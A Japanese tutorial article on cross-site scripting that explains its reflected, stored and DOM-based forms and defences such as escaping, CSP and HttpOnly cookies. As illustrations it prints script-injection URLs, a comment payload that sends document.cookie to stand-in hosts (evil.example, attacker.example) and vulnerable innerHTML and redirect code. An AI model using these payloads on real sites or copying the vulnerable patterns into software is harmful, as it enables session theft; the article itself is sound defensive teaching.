クロスサイトスクリプティング（XSS：Cross-Site Scripting）は、Webアプリケーションにおける代表的な脆弱性の一つです。攻撃者が悪意のあるスクリプトをWebページに注入し、利用者のブラウザ上で意図しない処理を実行させることで、CookieやセッションIDの窃取、フィッシング、画面改ざんなどが可能になります。特別な条件を必要とせず、ユーザーが特定のページを閲覧するだけで被害が発生する点において、非常に危険な攻撃手法です。
OWASP（Open Web Application Security Project）が公表する「OWASP Top 10」においても、XSSは長年にわたり上位に位置づけられてきました。2021年版では「A03:2021-Injection」として統合されましたが、その本質的なリスクは依然として重要視されています。Webアプリケーションが動的なコンテンツ生成を多用し、ユーザー入力を扱う機会が増え続ける現代において、XSSは依然として現実的な脅威です。
本記事では、XSSの基本的な仕組みから主な攻撃手法、そして開発時に考慮すべき具体的な対策までを体系的に解説します。開発者や運用担当者が、安全なWebアプリケーションを設計・保守するための実践的な知識を整理することを目的としています。
クロスサイトスクリプティングとは
クロスサイトスクリプティング（XSS：Cross-Site Scripting）は、Webアプリケーションに存在する入力値の処理不備を悪用し、ユーザーのブラウザ上で任意のスクリプトを実行させる攻撃手法です。攻撃者は、Webページの一部に悪意あるJavaScriptやHTMLを埋め込み、閲覧者のブラウザでそれを実行させます。その結果、CookieやセッションIDの窃取、フォーム入力情報の改ざん、偽装ページの生成、フィッシングなど、さまざまな被害が発生します。
XSSは、Webアプリケーションがユーザー入力を十分に検証せずに画面へ出力してしまうことが根本原因です。特に、動的に生成されるHTMLコンテンツやユーザー投稿型サービスでは、攻撃コードが意図せず埋め込まれやすくなります。これにより、攻撃者は他の利用者のセッションを乗っ取り、認証済みユーザーとして不正操作を行うことも可能になります。
OWASP（Open Web Application Security Project）が発表する「OWASP Top 10」では、XSSは長年にわたって上位に挙げられてきました。2021年版では、SQLインジェクションなどと同様に「A03:2021-Injection」というカテゴリに統合され、入力データが適切に処理されないことによる全般的な脆弱性として位置付けられています。これは、XSSが単なる「古典的な脆弱性」ではなく、依然として多くのアプリケーションに存在する現実的な脅威であることを意味しています。
また、モダンなWeb開発環境においてもXSSのリスクは依然として残っています。たとえば、ReactやVueといったフロントエンドフレームワークでは自動エスケープ機構が導入されていますが、v-html や dangerouslySetInnerHTML のようなAPIを誤って利用すると、DOMベースのXSSを引き起こす可能性があります。加えて、Single Page Application（SPA）のようにクライアントサイドで動的にDOMを操作する構造では、サーバ側では検知できないXSSが発生するケースもあります。
このように、XSSはWeb技術の進化とともに形を変えながらも依然として重大な脅威であり、すべてのWeb開発者が理解しておくべき基本的なセキュリティ課題です。次章では、XSS攻撃の代表的な種類とその具体的な挙動について詳しく見ていきます。
XSS攻撃の主な種類
クロスサイトスクリプティング（XSS）攻撃には、主に「反射型（Reflected XSS）」「永続型（Stored XSS）」「DOMベース型（DOM-based XSS）」の3つの種類があります。いずれも共通して、ユーザーが意図しないスクリプトを自身のブラウザ上で実行してしまう点に特徴がありますが、攻撃コードの注入経路や実行の仕組みが異なります。本章では、それぞれの特徴と発生メカニズムを解説します。
反射型（Reflected XSS）
反射型XSSは、ユーザーから送信されたデータが即座にWebアプリケーションのレスポンスに反映され、その中でスクリプトが実行される攻撃手法です。検索フォームや問い合わせフォームなど、ユーザー入力をそのまま画面上に表示する機能で発生しやすい傾向があります。
攻撃者は、悪意あるスクリプトを含むURLを作成し、メールやSNSを通じて被害者にクリックさせます。たとえば、以下のようなリンクが代表例です。
https://example.com/search?q=<script>alert('XSS')</script>
被害者がこのURLを開くと、アプリケーションが入力値をそのままHTMLとして返却し、ブラウザ上でスクリプトが実行されます。攻撃は一時的ですが、ユーザーを外部サイトへ誘導したり、認証情報を盗み取ったりすることが可能です。
永続型（Stored XSS）
永続型XSSは、攻撃者が投稿したスクリプトがサーバ側に保存され、他のユーザーがそのページを閲覧した際に自動的に実行される攻撃です。掲示板、コメント欄、SNSの投稿機能など、ユーザー生成コンテンツを扱うサービスで頻繁に見られます。
たとえば、攻撃者が次のような内容をコメント欄に投稿した場合を考えます。
<script>document.location='https://evil.example/steal?cookie='+document.cookie</script>
この投稿がサーバに保存され、他のユーザーがページを閲覧すると、自動的にスクリプトが実行され、被害者のセッション情報が攻撃者のサーバに送信されてしまいます。
永続型XSSは、1回の投稿で多数のユーザーに被害を与える可能性があり、企業サイトや大規模SNSで発生した場合、影響範囲が非常に広くなる点が特徴です。
DOMベース型（DOM-based XSS）
DOMベース型XSSは、サーバを経由せず、ブラウザ内のJavaScriptが動的に操作するDOM（Document Object Model）を通じてスクリプトが実行される攻撃です。つまり、攻撃コードの注入から実行までがクライアントサイドで完結する点に特徴があります。
典型的な脆弱実装の例を次に示します。
document.getElementById("result").innerHTML = location.search;
このコードでは、URLパラメータをそのままHTMLとして挿入しています。そのため、攻撃者が以下のようなURLを生成すると、ブラウザ側でスクリプトが実行されてしまいます。
https://example.com/page.html?name=<script>alert('XSS')</script>
近年は、ReactやVueなどのフロントエンドフレームワークを利用したSPA（Single Page Application）の普及により、DOMベースXSSの発生率が高まっています。特に、innerHTML、document.write()、eval() などのAPIを使用する箇所では細心の注意が必要です。
まとめ
これら3種類のXSSはいずれも「入力値の検証不備」と「出力時の不適切な処理」が原因です。反射型は一時的な攻撃である一方、永続型は多くのユーザーに影響し、DOMベース型はモダンなWeb構成で検出が難しいという違いがあります。
次章では、これらの攻撃を防ぐための基本原則と、開発段階で実施すべき具体的な対策方法について解説します。
XSS対策の基本原則
クロスサイトスクリプティング（XSS）を防ぐためには、アプリケーションの設計段階から「入力値の検証」「出力時のエスケープ」「ブラウザレベルでの制御」という三つの観点を組み合わせた多層防御を行うことが重要です。XSSは特定の技術やフレームワークに依存しない汎用的な脆弱性であり、根本的な対策方針を理解したうえで、アプリケーション全体に一貫して適用することが求められます。本章では、代表的な防御策の基本原則を整理します。
出力時のエスケープ（Output Encoding）
最も基本的かつ効果的な対策は、ユーザー入力をHTMLなどに出力する際に適切なエスケープ処理を行うことです。
HTML、JavaScript、CSS、URLなど、出力される文脈（コンテキスト）によって必要なエスケープ方法は異なります。たとえばHTML本文に出力する場合は、< を < に、> を > に変換する必要があります。一方、属性値やスクリプト内では異なるエンコードが必要になります。
多くのフレームワーク（例：Django、Ruby on Rails、Spring、Vue.js、Reactなど）は自動エスケープ機能を備えています。これらを無効化するようなコード（例：v-html や dangerouslySetInnerHTML）の利用は慎重に行うべきです。出力の文脈に応じた適切なエスケープを行うことが、XSS防御の第一歩です。
入力値のバリデーションとサニタイズ
入力値の検証（バリデーション）は、想定外のデータがアプリケーション内部に入らないようにするための重要な防御線です。入力段階でスクリプトやHTMLタグを除去・無害化（サニタイズ）することで、後続の処理で不正コードが混入するリスクを減らすことができます。
ただし、バリデーションはあくまで補助的な手段であり、出力エスケープの代替にはなりません。たとえばHTMLエディタ機能など、ユーザーが一部のタグを入力できる場合には、ホワイトリスト方式で許可するタグや属性を限定し、残りを除去する方法が有効です。実装時には、OWASPが提供する「OWASP Java Encoder」や「DOMPurify」などの信頼性の高いライブラリを利用することが推奨されます。
Content Security Policy（CSP）の導入
CSP（Content Security Policy）は、ブラウザが実行できるスクリプトやリソースの範囲を制御する仕組みであり、XSS対策として非常に有効です。
CSPを適切に設定することで、たとえスクリプトがページ内に注入されても、ブラウザ側でその実行を防ぐことができます。たとえば、以下のようなHTTPヘッダを設定します。
Content-Security-Policy: script-src 'self'
この設定により、外部ドメインから読み込まれるスクリプトの実行を禁止し、インラインスクリプトも制限できます。さらに、動的に生成されるスクリプトに対しては、nonce（使い捨てトークン）を付与することで、信頼できるコードのみ実行可能にすることができます。
CSPは導入と検証に一定のコストを要しますが、既存のアプリケーションに段階的に適用することで、高い防御効果を得ることが可能です。
Cookieの保護設定
XSSによってセッションIDなどのCookie情報が窃取されることを防ぐためには、Cookieに適切な属性を付与することが重要です。
特にHttpOnly属性を付与すると、JavaScriptからCookieを参照できなくなり、XSSによる情報漏えいリスクを大幅に低減できます。さらに、HTTPS通信を利用する場合はSecure属性を併用することで、暗号化通信経由でのみCookieが送信されるようになります。
これらの設定はブラウザレベルでの防御層として有効であり、サーバ側で必ず適切に設定することが推奨されます。
開発フレームワークのセキュリティ機能活用
近年の主要なWebフレームワークは、XSSを防止するための仕組みを標準で備えています。たとえば、DjangoやRailsではテンプレートエンジンが自動的にHTMLエスケープを行い、ReactやVueでは仮想DOMを用いることでスクリプトの直接埋め込みを防止しています。
ただし、開発者が手動でエスケープ処理を解除したり、信頼できない入力を直接DOMに挿入したりすると、これらの安全機構は無効になります。したがって、フレームワークのセキュリティガイドラインを遵守し、フレームワークが提供する安全なAPIを正しく使用することが重要です。
まとめ
XSS対策の基本は、「入力を信頼しない」「出力を制御する」「ブラウザで制限をかける」という三層構造にあります。これらを組み合わせることで、攻撃を受けても被害を最小限に抑えることが可能になります。次章では、実際のWeb機能においてXSSが発生しやすい実装例と、そのリスクを具体的に検討します。
XSSリスクが発生しやすい機能と実装例
クロスサイトスクリプティング（XSS）は、Webアプリケーションのあらゆる箇所で発生する可能性がありますが、特に「ユーザー入力を受け取り、その内容を画面に反映する機能」においてリスクが高まります。これらの機能は一見無害に見えても、入力内容の検証や出力時のエスケープ処理が不十分な場合、攻撃者が任意のスクリプトを埋め込むことが可能になります。本章では、実務上でXSSが発生しやすい典型的な機能と、そのリスクを解説します。
コメント欄・掲示板・レビュー投稿機能
ユーザーが自由に文章を入力できるコメント欄やレビュー投稿機能は、XSSの典型的な発生源です。これらの機能では、ユーザーの投稿内容をデータベースに保存し、他のユーザーに再表示するため、永続型（Stored）XSSが発生しやすい傾向にあります。
たとえば、攻撃者が以下のようなスクリプトを投稿した場合、他の利用者がそのページを閲覧するだけでスクリプトが実行される恐れがあります。
<script>document.location='https://attacker.example/steal?cookie='+document.cookie</script>
入力値を保存する前にサニタイズし、出力時には必ずHTMLエスケープを行うことが基本的な防御策です。Markdownやリッチテキストをサポートする場合は、ホワイトリスト方式で許可するタグを厳格に管理することが重要です。
検索フォームやエラーメッセージ表示機能
検索機能やエラーメッセージなど、ユーザーの入力値を画面上に再表示する機能は、反射型（Reflected）XSSの典型的な事例です。
たとえば、以下のような検索結果ページを想定します。
検索結果：「<script>alert('XSS')</script>」
このように、入力値をHTMLに直接出力してしまうと、ブラウザがスクリプトを実行してしまいます。防止策としては、出力時に必ずエスケープ処理を行うこと、またはテンプレートエンジンの自動エスケープ機能を有効化することが挙げられます。
動的テンプレートやシングルページアプリケーション（SPA）
React、Vue、Angularなどのモダンなフロントエンドフレームワークは、自動エスケープを行う設計が多いものの、例外的なAPI利用によってXSSが発生するケースがあります。
たとえば、Reactの dangerouslySetInnerHTML や Vue.js の v-html は、HTMLをそのままDOMに挿入するため、ユーザー入力を渡すとDOMベース（DOM-based）XSSが発生します。以下は危険な実装例です。
document.getElementById("result").innerHTML = userInput;
このようなコードは、URLパラメータや入力フォームの値を通じて攻撃コードを挿入されると、サーバを介さずにスクリプトが実行されます。SPAではサーバ側のバリデーションだけでなく、クライアント側の安全なDOM操作も徹底する必要があります。
URLパラメータを利用するリンク生成・リダイレクト処理
ユーザーが指定したURLパラメータをもとにリンクを生成する、またはリダイレクト先を決定する機能もXSSの原因になりやすい部分です。
たとえば、以下のようなコードは危険です。
location.href = getParameterByName("url");
攻撃者がスクリプトを含むURLを渡すと、ブラウザがそれを実行してしまう可能性があります。リダイレクト先を外部入力から直接決定することは避け、正規表現や固定リストを用いて安全なドメインのみを許可する設計が求められます。
リッチテキストエディタやMarkdownプレビュー機能
リッチテキストエディタやMarkdownプレビュー機能は、ユーザーがHTML要素を含む入力を行えるため、XSSの温床となることがあります。たとえば、許可されていないタグやイベント属性（onerror、onclick など）を利用してスクリプトを実行させる攻撃が確認されています。
防御策としては、HTMLパーサーで入力内容を精査し、信頼できるライブラリ（例：DOMPurify）を用いて安全なタグ・属性のみを残す方法が有効です。
通知・チャット・メッセージ機能
チャットやメッセージ機能では、他のユーザーの入力内容をそのまま表示するため、永続型XSSが発生するリスクがあります。特に、ユーザー同士がHTMLを含むメッセージをやり取りできる場合、攻撃コードが拡散しやすくなります。
これを防ぐためには、送信時の入力値検証だけでなく、受信時・表示時のサーバ側エスケープ処理が不可欠です。加えて、メッセージ内容をHTMLとして解釈しない設計（プレーンテキスト化）も効果的です。
まとめ
XSSは、特定のプログラミング言語やフレームワークではなく、「入力値を扱うあらゆる処理」で発生する可能性があります。特に、ユーザー生成コンテンツ（UGC）を扱う箇所、検索・エラー表示・リダイレクトなどの動的生成処理では、想定外の入力を前提に設計することが重要です。
次章では、開発・運用の各段階において、これらのリスクをどのように検出し、継続的に防止するかについて解説します。
開発・運用時の実践的チェックポイント
クロスサイトスクリプティング（XSS）対策は、実装段階だけで完結するものではありません。安全なコーディング方針を定めたうえで、開発・テスト・運用の各フェーズにおいて継続的に検証と改善を行うことが不可欠です。本章では、開発現場で実際に意識すべきチェックポイントを段階ごとに整理します。
設計・実装段階でのチェックポイント
開発初期の設計段階では、XSSを防止するためのセキュリティ要件を明確化することが重要です。入力値の取り扱いルールやエスケープ方針を統一し、フレームワークのセキュリティ機能を前提とした設計を行うことで、後工程のリスクを大幅に軽減できます。
主な確認項目は以下のとおりです。
- テンプレートエンジンやフレームワークの自動エスケープ機能を無効化していないか
- HTML、JavaScript、URLなど、出力文脈ごとに適切なエスケープが行われているか
innerHTML や document.write()、eval() などの危険なAPIを使用していないか- ユーザー入力をリダイレクトやリンク生成に直接利用していないか
- Markdownやリッチテキストの入力を許可する場合、信頼できるサニタイズ処理を行っているか
また、レビュー体制の中で「セキュリティコードレビュー」を組み込み、脆弱性の観点からもコードを検証することが推奨されます。特にユーザー入力を扱う箇所（フォーム、コメント欄、検索処理など）は重点的に確認する必要があります。
テスト段階でのチェックポイント
テストフェーズでは、機能の正当性に加えて「安全性の検証」も行う必要があります。特にXSSは表面的な動作テストでは検出が難しいため、静的解析や動的スキャンツールを併用して確認することが効果的です。
推奨される手法・ツールは次のとおりです。
- OWASP ZAP（Zed Attack Proxy）
オープンソースの脆弱性スキャナで、フォーム入力やパラメータ経由のXSSを自動検出できます。
- Burp Suite
プロキシ型のテストツールで、動的に送信されるリクエストを解析し、潜在的なXSSを特定します。
- 静的解析ツール（SAST）
コード中の危険な関数呼び出しや未エスケープ箇所を検出します。開発パイプラインへの組み込みも有効です。
また、テスト項目には「入力値にスクリプトを埋め込んだ場合の挙動確認」を含めることが望まれます。自動化ツールと手動検証を組み合わせることで、検出精度を高めることができます。
運用・保守段階でのチェックポイント
運用段階では、XSSが新たに導入されることを防ぐための継続的な監視と教育が重要です。Webアプリケーションは、機能追加や外部ライブラリ更新に伴い、新たな脆弱性を内包することがあります。したがって、セキュリティの維持は一度の対策で完了するものではありません。
運用フェーズで留意すべき点は以下のとおりです。
- WAF（Web Application Firewall）の導入
不正なリクエストパターンを検知・遮断することで、未知のXSS攻撃に対して防御層を追加できます。
- ログの監視と分析
不審なアクセスやスクリプト注入を示すエラーログを継続的に監視し、早期に異常を検知します。
- 定期的な脆弱性診断の実施
新機能リリースやライブラリ更新時に再診断を行うことで、潜在的な問題を早期に発見できます。
- 開発者教育とセキュリティ意識の維持
OWASP Top 10やIPAの最新動向を定期的に共有し、チーム全体のセキュリティリテラシーを維持することが重要です。
これらの取り組みは、XSSをはじめとするインジェクション攻撃全般に対して有効な防御策となります。
継続的改善のための体制整備
組織としてXSS対策を持続可能な形で運用するためには、「セキュリティ・バイ・デザイン（Security by Design）」の原則を採用することが有効です。これは、セキュリティを後付けではなく設計初期から組み込む考え方です。
加えて、CICDパイプラインに脆弱性スキャンを統合し、コード変更時に自動的に安全性を検証する体制を整備することで、リリースごとのセキュリティ品質を一定に保つことができます。
まとめ
XSS対策は単なる実装上の工夫にとどまらず、組織的・継続的な取り組みとして実施する必要があります。開発段階では設計とレビュー、テスト段階では自動・手動検証、運用段階では監視と教育を重視することで、XSSのリスクを最小限に抑えることができます。
次章では、XSSを含むインジェクション脆弱性がOWASP Top 10でどのように位置付けられているかを整理し、今後のセキュリティ戦略の方向性を考察します。
おわりに
本記事では、クロスサイトスクリプティング（XSS）の基本概念から、主な攻撃手法、具体的な発生箇所、そして開発・運用段階での防御策までを体系的に解説しました。XSSはWebアプリケーションにおける最も一般的かつ深刻な脆弱性の一つであり、2000年代初期から現在に至るまで多くの被害事例が報告されています。攻撃者が特別な権限を持たずとも、わずかな入力経路からスクリプトを注入できることが、その危険性を高めています。
OWASP（Open Web Application Security Project）が発表する「OWASP Top 10」においても、XSSは長年にわたり上位を占めてきました。2021年版では「A03:2021-Injection」に統合されましたが、依然としてインジェクション攻撃の代表的存在として位置付けられています。特に、ユーザー生成コンテンツ（UGC）を扱うサービスや、クライアントサイドで動的にコンテンツを描画するモダンWebアプリケーションにおいて、そのリスクは現在も継続しています。
XSS対策の基本は、「入力を信頼せず」「出力時に適切なエスケープを行い」「ブラウザ側で制御を加える」ことにあります。これらの三原則を設計段階から一貫して適用することで、XSSの多くは防止可能です。また、CSP（Content Security Policy）の導入、HttpOnly 属性によるCookie保護、フレームワークの安全なAPI活用など、実装レベルの工夫も重要な要素です。
しかし、技術的対策だけで完全にXSSを排除することは困難です。開発プロセス全体にセキュリティレビューや自動スキャンを組み込み、脆弱性を継続的に検出・修正する体制を整えることが、現実的かつ効果的な防御策となります。さらに、開発者がOWASPやIPA（情報処理推進機構）などの信頼性の高い情報源を定期的に参照し、最新の攻撃手法と対策動向を学び続ける姿勢も欠かせません。
XSSは、単なる「古典的な脆弱性」ではなく、Web技術が進化する限り形を変えて存在し続ける課題です。安全なWebサービスを提供するためには、技術・設計・運用の各レイヤでセキュリティを意識し、ユーザーの信頼を守る体制を継続的に維持していくことが求められます。
